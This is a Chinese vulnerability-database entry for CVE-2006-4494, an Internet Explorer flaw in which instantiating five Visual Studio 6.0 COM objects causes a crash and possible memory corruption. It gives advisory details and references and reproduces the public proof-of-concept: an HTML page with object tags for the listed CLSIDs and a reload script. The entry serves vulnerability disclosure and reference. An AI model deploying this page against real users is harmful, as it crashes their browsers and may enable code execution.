Microsoft Internet Explorer Visual Studio COM对象实例化拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110773 漏洞类型 设计错误
发布时间 2006-08-08 更新时间 2007-06-27
CVE编号 CVE-2006-4494 CNNVD-ID CNNVD-200608-519
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/28401
https://www.securityfocus.com/bid/19572
https://cxsecurity.com/issue/WLB-2006090001
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-519
|漏洞详情
MicrosoftVisualStudio6.0中,远程攻击者可通过对某些InternetExplorer浏览器中的VisualStudio6.0ActiveXCOM对象,包括:(1)tcprops.dll,(2)fp30wec.dll,(3)mdt2db.dll,(4)mdt2qd.dll和(5)vi30aut.dll对象进行实例化操作,从而触发拒绝服务攻击(内存破坏),并可能执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/19572/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability that occurs when instantiating Visual Studio COM objects. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). Note, however, that this issue affects a different set of COM objects that were not addressed in the previous BIDs.

<!--
// Visual Studio 6.0 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000/2003

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}
// Info: FpFile Class// ProgID: WECAPI.FpFile.1
// InprocServer32: C:\WINDOWS\System\FP30WEC.DLL

// CLSID: {AB39F080-0F5D-11D1-8E2F-00C04FB68D60}
// Info: TCExtPage Class
// InprocServer32: C:\PROGRA~1\MICROS~1\Common\Tools\TCPROPS.DLL

// CLSID: {CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}
// Info: FpaFile Class// ProgID: FpaFile.FpaFile.1
// InprocServer32: C:\WINDOWS\system\VI30AUT.DLL

// CLSID: {E9B0E6CB-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Query Designer// ProgID: MSDTQueryDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2qd.dll

// CLSID: {E9B0E6D4-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Database Designer// ProgID: MSDTDatabaseDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2db.dll
--!>

<html><body>
<object classid="CLSID:{9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}"> </object>
<object classid="CLSID:{AB39F080-0F5D-11D1-8E2F-00C04FB68D60}"> </object>
<object classid="CLSID:{CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}"> </object>
<object classid="CLSID:{E9B0E6CB-811C-11D0-AD51-00A0C90F5739}"> </object>
<object classid="CLSID:{E9B0E6D4-811C-11D0-AD51-00A0C90F5739}"> </object>
<!--
</body>
<script>location.reload();</script>
</html>
|受影响的产品
Microsoft Visual Studio 6.0 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Internet Explorer 6.0 SP1
|参考资料

来源:MISC
链接:http://www.xsec.org/index.php?module=releases&act=view&type=1&id=15
来源:BID
名称:19572
链接:http://www.securityfocus.com/bid/19572
来源:BUGTRAQ
名称:20060817[XSec-06-07]:VisualStudio6.0MultipleCOMObjectInstantiationVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/443499/100/100/threaded
来源:SREASON
名称:1473
链接:http://securityreason.com/securityalert/1473